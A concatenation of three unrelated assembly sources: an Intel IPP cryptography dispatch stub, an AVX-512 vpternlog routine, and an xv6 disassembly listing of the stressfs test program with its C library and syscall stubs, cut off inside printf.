extern m7_ippsGFpECSetPointHashBackCompatible_rmf:function
extern n8_ippsGFpECSetPointHashBackCompatible_rmf:function
extern y8_ippsGFpECSetPointHashBackCompatible_rmf:function
extern e9_ippsGFpECSetPointHashBackCompatible_rmf:function
extern l9_ippsGFpECSetPointHashBackCompatible_rmf:function
extern n0_ippsGFpECSetPointHashBackCompatible_rmf:function
extern k0_ippsGFpECSetPointHashBackCompatible_rmf:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpECSetPointHashBackCompatible_rmf
.Larraddr_ippsGFpECSetPointHashBackCompatible_rmf:
dq m7_ippsGFpECSetPointHashBackCompatible_rmf
dq n8_ippsGFpECSetPointHashBackCompatible_rmf
dq y8_ippsGFpECSetPointHashBackCompatible_rmf
dq e9_ippsGFpECSetPointHashBackCompatible_rmf
dq l9_ippsGFpECSetPointHashBackCompatible_rmf
dq n0_ippsGFpECSetPointHashBackCompatible_rmf
dq k0_ippsGFpECSetPointHashBackCompatible_rmf
segment .text
global ippsGFpECSetPointHashBackCompatible_rmf:function (ippsGFpECSetPointHashBackCompatible_rmf.LEndippsGFpECSetPointHashBackCompatible_rmf - ippsGFpECSetPointHashBackCompatible_rmf)
.Lin_ippsGFpECSetPointHashBackCompatible_rmf:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpECSetPointHashBackCompatible_rmf:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpECSetPointHashBackCompatible_rmf]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpECSetPointHashBackCompatible_rmf:
|
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl ternary_vpternlog
; void ternary_vpternlog(uint32_t *dest, const uint32_t *src1, const uint32_t *src2, const uint32_t *src3, uint64_t len)
; On entry:
; rcx = dest
; rdx = src1
; r8 = src2
; r9 = src3
; [rsp+40] = len ( must be divisible by 32 )
.code
ternary_vpternlog PROC public
mov r11, [rsp+40]
xor rax, rax
mainloop:
vmovaps zmm1, [r8+rax*4]
vmovaps zmm0, [rdx+rax*4]
vpternlogd zmm0,zmm1,[r9], 92h
vmovaps [rcx], zmm0
vmovaps zmm1, [r8+rax*4+40h]
vmovaps zmm0, [rdx+rax*4+40h]
vpternlogd zmm0,zmm1, [r9+40h], 92h
vmovaps [rcx+40h], zmm0
add rax, 32
add r9, 80h
add rcx, 80h
cmp rax, r11
jne mainloop
vzeroupper
ret
ternary_vpternlog ENDP
end |
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 81 ec 30 02 00 00 sub $0x230,%esp
int fd, i;
char path[] = "stressfs0";
c: c7 84 24 1e 02 00 00 movl $0x65727473,0x21e(%esp)
13: 73 74 72 65
17: c7 84 24 22 02 00 00 movl $0x73667373,0x222(%esp)
1e: 73 73 66 73
22: 66 c7 84 24 26 02 00 movw $0x30,0x226(%esp)
29: 00 30 00
char data[512];
printf(1, "stressfs starting\n");
2c: c7 44 24 04 87 09 00 movl $0x987,0x4(%esp)
33: 00
34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b: e8 7b 05 00 00 call 5bb <printf>
memset(data, 'a', sizeof(data));
40: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
47: 00
48: c7 44 24 04 61 00 00 movl $0x61,0x4(%esp)
4f: 00
50: 8d 44 24 1e lea 0x1e(%esp),%eax
54: 89 04 24 mov %eax,(%esp)
57: e8 12 02 00 00 call 26e <memset>
for(i = 0; i < 4; i++)
5c: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp)
63: 00 00 00 00
67: eb 13 jmp 7c <main+0x7c>
if(fork() > 0)
69: e8 a5 03 00 00 call 413 <fork>
6e: 85 c0 test %eax,%eax
70: 7e 02 jle 74 <main+0x74>
break;
72: eb 12 jmp 86 <main+0x86>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
74: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp)
7b: 01
7c: 83 bc 24 2c 02 00 00 cmpl $0x3,0x22c(%esp)
83: 03
84: 7e e3 jle 69 <main+0x69>
if(fork() > 0)
break;
printf(1, "write %d\n", i);
86: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax
8d: 89 44 24 08 mov %eax,0x8(%esp)
91: c7 44 24 04 9a 09 00 movl $0x99a,0x4(%esp)
98: 00
99: c7 04 24 01 00 00 00 movl $0x1,(%esp)
a0: e8 16 05 00 00 call 5bb <printf>
path[8] += i;
a5: 0f b6 84 24 26 02 00 movzbl 0x226(%esp),%eax
ac: 00
ad: 89 c2 mov %eax,%edx
af: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax
b6: 01 d0 add %edx,%eax
b8: 88 84 24 26 02 00 00 mov %al,0x226(%esp)
fd = open(path, O_CREATE | O_RDWR);
bf: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
c6: 00
c7: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax
ce: 89 04 24 mov %eax,(%esp)
d1: e8 85 03 00 00 call 45b <open>
d6: 89 84 24 28 02 00 00 mov %eax,0x228(%esp)
for(i = 0; i < 20; i++)
dd: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp)
e4: 00 00 00 00
e8: eb 27 jmp 111 <main+0x111>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
ea: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
f1: 00
f2: 8d 44 24 1e lea 0x1e(%esp),%eax
f6: 89 44 24 04 mov %eax,0x4(%esp)
fa: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax
101: 89 04 24 mov %eax,(%esp)
104: e8 32 03 00 00 call 43b <write>
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
109: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp)
110: 01
111: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp)
118: 13
119: 7e cf jle ea <main+0xea>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
11b: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax
122: 89 04 24 mov %eax,(%esp)
125: e8 19 03 00 00 call 443 <close>
printf(1, "read\n");
12a: c7 44 24 04 a4 09 00 movl $0x9a4,0x4(%esp)
131: 00
132: c7 04 24 01 00 00 00 movl $0x1,(%esp)
139: e8 7d 04 00 00 call 5bb <printf>
fd = open(path, O_RDONLY);
13e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
145: 00
146: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax
14d: 89 04 24 mov %eax,(%esp)
150: e8 06 03 00 00 call 45b <open>
155: 89 84 24 28 02 00 00 mov %eax,0x228(%esp)
for (i = 0; i < 20; i++)
15c: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp)
163: 00 00 00 00
167: eb 27 jmp 190 <main+0x190>
read(fd, data, sizeof(data));
169: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
170: 00
171: 8d 44 24 1e lea 0x1e(%esp),%eax
175: 89 44 24 04 mov %eax,0x4(%esp)
179: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax
180: 89 04 24 mov %eax,(%esp)
183: e8 ab 02 00 00 call 433 <read>
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
188: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp)
18f: 01
190: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp)
197: 13
198: 7e cf jle 169 <main+0x169>
read(fd, data, sizeof(data));
close(fd);
19a: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax
1a1: 89 04 24 mov %eax,(%esp)
1a4: e8 9a 02 00 00 call 443 <close>
wait();
1a9: e8 75 02 00 00 call 423 <wait>
exit();
1ae: e8 68 02 00 00 call 41b <exit>
000001b3 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1b3: 55 push %ebp
1b4: 89 e5 mov %esp,%ebp
1b6: 57 push %edi
1b7: 53 push %ebx
asm volatile("cld; rep stosb" :
1b8: 8b 4d 08 mov 0x8(%ebp),%ecx
1bb: 8b 55 10 mov 0x10(%ebp),%edx
1be: 8b 45 0c mov 0xc(%ebp),%eax
1c1: 89 cb mov %ecx,%ebx
1c3: 89 df mov %ebx,%edi
1c5: 89 d1 mov %edx,%ecx
1c7: fc cld
1c8: f3 aa rep stos %al,%es:(%edi)
1ca: 89 ca mov %ecx,%edx
1cc: 89 fb mov %edi,%ebx
1ce: 89 5d 08 mov %ebx,0x8(%ebp)
1d1: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1d4: 5b pop %ebx
1d5: 5f pop %edi
1d6: 5d pop %ebp
1d7: c3 ret
000001d8 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1d8: 55 push %ebp
1d9: 89 e5 mov %esp,%ebp
1db: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
1de: 8b 45 08 mov 0x8(%ebp),%eax
1e1: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1e4: 90 nop
1e5: 8b 45 08 mov 0x8(%ebp),%eax
1e8: 8d 50 01 lea 0x1(%eax),%edx
1eb: 89 55 08 mov %edx,0x8(%ebp)
1ee: 8b 55 0c mov 0xc(%ebp),%edx
1f1: 8d 4a 01 lea 0x1(%edx),%ecx
1f4: 89 4d 0c mov %ecx,0xc(%ebp)
1f7: 0f b6 12 movzbl (%edx),%edx
1fa: 88 10 mov %dl,(%eax)
1fc: 0f b6 00 movzbl (%eax),%eax
1ff: 84 c0 test %al,%al
201: 75 e2 jne 1e5 <strcpy+0xd>
;
return os;
203: 8b 45 fc mov -0x4(%ebp),%eax
}
206: c9 leave
207: c3 ret
00000208 <strcmp>:
int
strcmp(const char *p, const char *q)
{
208: 55 push %ebp
209: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
20b: eb 08 jmp 215 <strcmp+0xd>
p++, q++;
20d: 83 45 08 01 addl $0x1,0x8(%ebp)
211: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
215: 8b 45 08 mov 0x8(%ebp),%eax
218: 0f b6 00 movzbl (%eax),%eax
21b: 84 c0 test %al,%al
21d: 74 10 je 22f <strcmp+0x27>
21f: 8b 45 08 mov 0x8(%ebp),%eax
222: 0f b6 10 movzbl (%eax),%edx
225: 8b 45 0c mov 0xc(%ebp),%eax
228: 0f b6 00 movzbl (%eax),%eax
22b: 38 c2 cmp %al,%dl
22d: 74 de je 20d <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
22f: 8b 45 08 mov 0x8(%ebp),%eax
232: 0f b6 00 movzbl (%eax),%eax
235: 0f b6 d0 movzbl %al,%edx
238: 8b 45 0c mov 0xc(%ebp),%eax
23b: 0f b6 00 movzbl (%eax),%eax
23e: 0f b6 c0 movzbl %al,%eax
241: 29 c2 sub %eax,%edx
243: 89 d0 mov %edx,%eax
}
245: 5d pop %ebp
246: c3 ret
00000247 <strlen>:
uint
strlen(char *s)
{
247: 55 push %ebp
248: 89 e5 mov %esp,%ebp
24a: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
24d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
254: eb 04 jmp 25a <strlen+0x13>
256: 83 45 fc 01 addl $0x1,-0x4(%ebp)
25a: 8b 55 fc mov -0x4(%ebp),%edx
25d: 8b 45 08 mov 0x8(%ebp),%eax
260: 01 d0 add %edx,%eax
262: 0f b6 00 movzbl (%eax),%eax
265: 84 c0 test %al,%al
267: 75 ed jne 256 <strlen+0xf>
;
return n;
269: 8b 45 fc mov -0x4(%ebp),%eax
}
26c: c9 leave
26d: c3 ret
0000026e <memset>:
void*
memset(void *dst, int c, uint n)
{
26e: 55 push %ebp
26f: 89 e5 mov %esp,%ebp
271: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
274: 8b 45 10 mov 0x10(%ebp),%eax
277: 89 44 24 08 mov %eax,0x8(%esp)
27b: 8b 45 0c mov 0xc(%ebp),%eax
27e: 89 44 24 04 mov %eax,0x4(%esp)
282: 8b 45 08 mov 0x8(%ebp),%eax
285: 89 04 24 mov %eax,(%esp)
288: e8 26 ff ff ff call 1b3 <stosb>
return dst;
28d: 8b 45 08 mov 0x8(%ebp),%eax
}
290: c9 leave
291: c3 ret
00000292 <strchr>:
char*
strchr(const char *s, char c)
{
292: 55 push %ebp
293: 89 e5 mov %esp,%ebp
295: 83 ec 04 sub $0x4,%esp
298: 8b 45 0c mov 0xc(%ebp),%eax
29b: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
29e: eb 14 jmp 2b4 <strchr+0x22>
if(*s == c)
2a0: 8b 45 08 mov 0x8(%ebp),%eax
2a3: 0f b6 00 movzbl (%eax),%eax
2a6: 3a 45 fc cmp -0x4(%ebp),%al
2a9: 75 05 jne 2b0 <strchr+0x1e>
return (char*)s;
2ab: 8b 45 08 mov 0x8(%ebp),%eax
2ae: eb 13 jmp 2c3 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2b0: 83 45 08 01 addl $0x1,0x8(%ebp)
2b4: 8b 45 08 mov 0x8(%ebp),%eax
2b7: 0f b6 00 movzbl (%eax),%eax
2ba: 84 c0 test %al,%al
2bc: 75 e2 jne 2a0 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
2be: b8 00 00 00 00 mov $0x0,%eax
}
2c3: c9 leave
2c4: c3 ret
000002c5 <gets>:
char*
gets(char *buf, int max)
{
2c5: 55 push %ebp
2c6: 89 e5 mov %esp,%ebp
2c8: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
2cb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2d2: eb 4c jmp 320 <gets+0x5b>
cc = read(0, &c, 1);
2d4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
2db: 00
2dc: 8d 45 ef lea -0x11(%ebp),%eax
2df: 89 44 24 04 mov %eax,0x4(%esp)
2e3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2ea: e8 44 01 00 00 call 433 <read>
2ef: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
2f2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2f6: 7f 02 jg 2fa <gets+0x35>
break;
2f8: eb 31 jmp 32b <gets+0x66>
buf[i++] = c;
2fa: 8b 45 f4 mov -0xc(%ebp),%eax
2fd: 8d 50 01 lea 0x1(%eax),%edx
300: 89 55 f4 mov %edx,-0xc(%ebp)
303: 89 c2 mov %eax,%edx
305: 8b 45 08 mov 0x8(%ebp),%eax
308: 01 c2 add %eax,%edx
30a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
30e: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
310: 0f b6 45 ef movzbl -0x11(%ebp),%eax
314: 3c 0a cmp $0xa,%al
316: 74 13 je 32b <gets+0x66>
318: 0f b6 45 ef movzbl -0x11(%ebp),%eax
31c: 3c 0d cmp $0xd,%al
31e: 74 0b je 32b <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
320: 8b 45 f4 mov -0xc(%ebp),%eax
323: 83 c0 01 add $0x1,%eax
326: 3b 45 0c cmp 0xc(%ebp),%eax
329: 7c a9 jl 2d4 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
32b: 8b 55 f4 mov -0xc(%ebp),%edx
32e: 8b 45 08 mov 0x8(%ebp),%eax
331: 01 d0 add %edx,%eax
333: c6 00 00 movb $0x0,(%eax)
return buf;
336: 8b 45 08 mov 0x8(%ebp),%eax
}
339: c9 leave
33a: c3 ret
0000033b <stat>:
int
stat(char *n, struct stat *st)
{
33b: 55 push %ebp
33c: 89 e5 mov %esp,%ebp
33e: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
341: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
348: 00
349: 8b 45 08 mov 0x8(%ebp),%eax
34c: 89 04 24 mov %eax,(%esp)
34f: e8 07 01 00 00 call 45b <open>
354: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
357: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
35b: 79 07 jns 364 <stat+0x29>
return -1;
35d: b8 ff ff ff ff mov $0xffffffff,%eax
362: eb 23 jmp 387 <stat+0x4c>
r = fstat(fd, st);
364: 8b 45 0c mov 0xc(%ebp),%eax
367: 89 44 24 04 mov %eax,0x4(%esp)
36b: 8b 45 f4 mov -0xc(%ebp),%eax
36e: 89 04 24 mov %eax,(%esp)
371: e8 fd 00 00 00 call 473 <fstat>
376: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
379: 8b 45 f4 mov -0xc(%ebp),%eax
37c: 89 04 24 mov %eax,(%esp)
37f: e8 bf 00 00 00 call 443 <close>
return r;
384: 8b 45 f0 mov -0x10(%ebp),%eax
}
387: c9 leave
388: c3 ret
00000389 <atoi>:
int
atoi(const char *s)
{
389: 55 push %ebp
38a: 89 e5 mov %esp,%ebp
38c: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
38f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
396: eb 25 jmp 3bd <atoi+0x34>
n = n*10 + *s++ - '0';
398: 8b 55 fc mov -0x4(%ebp),%edx
39b: 89 d0 mov %edx,%eax
39d: c1 e0 02 shl $0x2,%eax
3a0: 01 d0 add %edx,%eax
3a2: 01 c0 add %eax,%eax
3a4: 89 c1 mov %eax,%ecx
3a6: 8b 45 08 mov 0x8(%ebp),%eax
3a9: 8d 50 01 lea 0x1(%eax),%edx
3ac: 89 55 08 mov %edx,0x8(%ebp)
3af: 0f b6 00 movzbl (%eax),%eax
3b2: 0f be c0 movsbl %al,%eax
3b5: 01 c8 add %ecx,%eax
3b7: 83 e8 30 sub $0x30,%eax
3ba: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3bd: 8b 45 08 mov 0x8(%ebp),%eax
3c0: 0f b6 00 movzbl (%eax),%eax
3c3: 3c 2f cmp $0x2f,%al
3c5: 7e 0a jle 3d1 <atoi+0x48>
3c7: 8b 45 08 mov 0x8(%ebp),%eax
3ca: 0f b6 00 movzbl (%eax),%eax
3cd: 3c 39 cmp $0x39,%al
3cf: 7e c7 jle 398 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
3d1: 8b 45 fc mov -0x4(%ebp),%eax
}
3d4: c9 leave
3d5: c3 ret
000003d6 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3d6: 55 push %ebp
3d7: 89 e5 mov %esp,%ebp
3d9: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
3dc: 8b 45 08 mov 0x8(%ebp),%eax
3df: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
3e2: 8b 45 0c mov 0xc(%ebp),%eax
3e5: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
3e8: eb 17 jmp 401 <memmove+0x2b>
*dst++ = *src++;
3ea: 8b 45 fc mov -0x4(%ebp),%eax
3ed: 8d 50 01 lea 0x1(%eax),%edx
3f0: 89 55 fc mov %edx,-0x4(%ebp)
3f3: 8b 55 f8 mov -0x8(%ebp),%edx
3f6: 8d 4a 01 lea 0x1(%edx),%ecx
3f9: 89 4d f8 mov %ecx,-0x8(%ebp)
3fc: 0f b6 12 movzbl (%edx),%edx
3ff: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
401: 8b 45 10 mov 0x10(%ebp),%eax
404: 8d 50 ff lea -0x1(%eax),%edx
407: 89 55 10 mov %edx,0x10(%ebp)
40a: 85 c0 test %eax,%eax
40c: 7f dc jg 3ea <memmove+0x14>
*dst++ = *src++;
return vdst;
40e: 8b 45 08 mov 0x8(%ebp),%eax
}
411: c9 leave
412: c3 ret
00000413 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
413: b8 01 00 00 00 mov $0x1,%eax
418: cd 40 int $0x40
41a: c3 ret
0000041b <exit>:
SYSCALL(exit)
41b: b8 02 00 00 00 mov $0x2,%eax
420: cd 40 int $0x40
422: c3 ret
00000423 <wait>:
SYSCALL(wait)
423: b8 03 00 00 00 mov $0x3,%eax
428: cd 40 int $0x40
42a: c3 ret
0000042b <pipe>:
SYSCALL(pipe)
42b: b8 04 00 00 00 mov $0x4,%eax
430: cd 40 int $0x40
432: c3 ret
00000433 <read>:
SYSCALL(read)
433: b8 05 00 00 00 mov $0x5,%eax
438: cd 40 int $0x40
43a: c3 ret
0000043b <write>:
SYSCALL(write)
43b: b8 10 00 00 00 mov $0x10,%eax
440: cd 40 int $0x40
442: c3 ret
00000443 <close>:
SYSCALL(close)
443: b8 15 00 00 00 mov $0x15,%eax
448: cd 40 int $0x40
44a: c3 ret
0000044b <kill>:
SYSCALL(kill)
44b: b8 06 00 00 00 mov $0x6,%eax
450: cd 40 int $0x40
452: c3 ret
00000453 <exec>:
SYSCALL(exec)
453: b8 07 00 00 00 mov $0x7,%eax
458: cd 40 int $0x40
45a: c3 ret
0000045b <open>:
SYSCALL(open)
45b: b8 0f 00 00 00 mov $0xf,%eax
460: cd 40 int $0x40
462: c3 ret
00000463 <mknod>:
SYSCALL(mknod)
463: b8 11 00 00 00 mov $0x11,%eax
468: cd 40 int $0x40
46a: c3 ret
0000046b <unlink>:
SYSCALL(unlink)
46b: b8 12 00 00 00 mov $0x12,%eax
470: cd 40 int $0x40
472: c3 ret
00000473 <fstat>:
SYSCALL(fstat)
473: b8 08 00 00 00 mov $0x8,%eax
478: cd 40 int $0x40
47a: c3 ret
0000047b <link>:
SYSCALL(link)
47b: b8 13 00 00 00 mov $0x13,%eax
480: cd 40 int $0x40
482: c3 ret
00000483 <mkdir>:
SYSCALL(mkdir)
483: b8 14 00 00 00 mov $0x14,%eax
488: cd 40 int $0x40
48a: c3 ret
0000048b <chdir>:
SYSCALL(chdir)
48b: b8 09 00 00 00 mov $0x9,%eax
490: cd 40 int $0x40
492: c3 ret
00000493 <dup>:
SYSCALL(dup)
493: b8 0a 00 00 00 mov $0xa,%eax
498: cd 40 int $0x40
49a: c3 ret
0000049b <getpid>:
SYSCALL(getpid)
49b: b8 0b 00 00 00 mov $0xb,%eax
4a0: cd 40 int $0x40
4a2: c3 ret
000004a3 <sbrk>:
SYSCALL(sbrk)
4a3: b8 0c 00 00 00 mov $0xc,%eax
4a8: cd 40 int $0x40
4aa: c3 ret
000004ab <sleep>:
SYSCALL(sleep)
4ab: b8 0d 00 00 00 mov $0xd,%eax
4b0: cd 40 int $0x40
4b2: c3 ret
000004b3 <uptime>:
SYSCALL(uptime)
4b3: b8 0e 00 00 00 mov $0xe,%eax
4b8: cd 40 int $0x40
4ba: c3 ret
000004bb <sigset>:
SYSCALL(sigset)
4bb: b8 16 00 00 00 mov $0x16,%eax
4c0: cd 40 int $0x40
4c2: c3 ret
000004c3 <sigsend>:
SYSCALL(sigsend)
4c3: b8 17 00 00 00 mov $0x17,%eax
4c8: cd 40 int $0x40
4ca: c3 ret
000004cb <sigret>:
SYSCALL(sigret)
4cb: b8 18 00 00 00 mov $0x18,%eax
4d0: cd 40 int $0x40
4d2: c3 ret
000004d3 <sigpause>:
4d3: b8 19 00 00 00 mov $0x19,%eax
4d8: cd 40 int $0x40
4da: c3 ret
000004db <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
4db: 55 push %ebp
4dc: 89 e5 mov %esp,%ebp
4de: 83 ec 18 sub $0x18,%esp
4e1: 8b 45 0c mov 0xc(%ebp),%eax
4e4: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
4e7: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4ee: 00
4ef: 8d 45 f4 lea -0xc(%ebp),%eax
4f2: 89 44 24 04 mov %eax,0x4(%esp)
4f6: 8b 45 08 mov 0x8(%ebp),%eax
4f9: 89 04 24 mov %eax,(%esp)
4fc: e8 3a ff ff ff call 43b <write>
}
501: c9 leave
502: c3 ret
00000503 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
503: 55 push %ebp
504: 89 e5 mov %esp,%ebp
506: 56 push %esi
507: 53 push %ebx
508: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
50b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
512: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
516: 74 17 je 52f <printint+0x2c>
518: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
51c: 79 11 jns 52f <printint+0x2c>
neg = 1;
51e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
525: 8b 45 0c mov 0xc(%ebp),%eax
528: f7 d8 neg %eax
52a: 89 45 ec mov %eax,-0x14(%ebp)
52d: eb 06 jmp 535 <printint+0x32>
} else {
x = xx;
52f: 8b 45 0c mov 0xc(%ebp),%eax
532: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
535: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
53c: 8b 4d f4 mov -0xc(%ebp),%ecx
53f: 8d 41 01 lea 0x1(%ecx),%eax
542: 89 45 f4 mov %eax,-0xc(%ebp)
545: 8b 5d 10 mov 0x10(%ebp),%ebx
548: 8b 45 ec mov -0x14(%ebp),%eax
54b: ba 00 00 00 00 mov $0x0,%edx
550: f7 f3 div %ebx
552: 89 d0 mov %edx,%eax
554: 0f b6 80 f8 0b 00 00 movzbl 0xbf8(%eax),%eax
55b: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
55f: 8b 75 10 mov 0x10(%ebp),%esi
562: 8b 45 ec mov -0x14(%ebp),%eax
565: ba 00 00 00 00 mov $0x0,%edx
56a: f7 f6 div %esi
56c: 89 45 ec mov %eax,-0x14(%ebp)
56f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
573: 75 c7 jne 53c <printint+0x39>
if(neg)
575: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
579: 74 10 je 58b <printint+0x88>
buf[i++] = '-';
57b: 8b 45 f4 mov -0xc(%ebp),%eax
57e: 8d 50 01 lea 0x1(%eax),%edx
581: 89 55 f4 mov %edx,-0xc(%ebp)
584: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
589: eb 1f jmp 5aa <printint+0xa7>
58b: eb 1d jmp 5aa <printint+0xa7>
putc(fd, buf[i]);
58d: 8d 55 dc lea -0x24(%ebp),%edx
590: 8b 45 f4 mov -0xc(%ebp),%eax
593: 01 d0 add %edx,%eax
595: 0f b6 00 movzbl (%eax),%eax
598: 0f be c0 movsbl %al,%eax
59b: 89 44 24 04 mov %eax,0x4(%esp)
59f: 8b 45 08 mov 0x8(%ebp),%eax
5a2: 89 04 24 mov %eax,(%esp)
5a5: e8 31 ff ff ff call 4db <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
5aa: 83 6d f4 01 subl $0x1,-0xc(%ebp)
5ae: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5b2: 79 d9 jns 58d <printint+0x8a>
putc(fd, buf[i]);
}
5b4: 83 c4 30 add $0x30,%esp
5b7: 5b pop %ebx
5b8: 5e pop %esi
5b9: 5d pop %ebp
5ba: c3 ret
000005bb <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
5bb: 55 push %ebp
5bc: 89 e5 mov %esp,%ebp
5be: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
5c1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
5c8: 8d 45 0c lea 0xc(%ebp),%eax
5cb: 83 c0 04 add $0x4,%eax
